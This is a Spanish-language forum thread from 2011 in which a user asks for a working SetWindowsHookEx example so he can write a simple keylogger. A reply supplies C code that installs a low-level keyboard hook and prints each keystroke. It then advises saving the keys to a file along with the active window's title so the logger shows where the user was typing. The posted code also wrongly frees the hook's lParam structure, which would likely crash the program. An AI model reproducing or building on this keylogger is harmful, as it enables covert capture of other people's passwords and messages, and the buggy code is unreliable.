SetWindowsHookEx ¿hay un ejemplo claro y funcional?

Iniciado por yovaninu, 5 Agosto 2011, 05:03 AM

0 Miembros y 1 Visitante están viendo este tema.

yovaninu

Buenas a todos

Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.

Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.

Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.

Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.

Saludos y muchas gracias desde ya.

naderST

Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este:


#include <windows.h>
#include <stdio.h>

HHOOK hHook;
MSG messages;

LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam);

int WINAPI WinMain (HINSTANCE hThisInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR lpszArgument,
                     int nCmdShow)
{
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL);

    while(GetMessage(&messages, NULL, NULL, NULL)){
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }

    return messages.wParam;
}

LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){
    if(nCode < 0)
        return CallNextHookEx(hHook, nCode, wParam, lParam);

    if(wParam == WM_KEYDOWN){
        PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam;
        printf("%c", teclado->vkCode);
        free(teclado);
    }

    return CallNextHookEx(hHook, nCode, wParam, lParam);
}



Aquí algunos links a la MSDN:

http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspx
http://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspx

Todo lo que tiene que ver con el API de Windows esta ahí.

yovaninu

Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error

'WH_KEYBOARD_LL': undeclared identifier


Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana:


Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo?

Gracias por su tiempo.

naderST

Código (cpp) [Seleccionar]
teclado->vkCode

Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.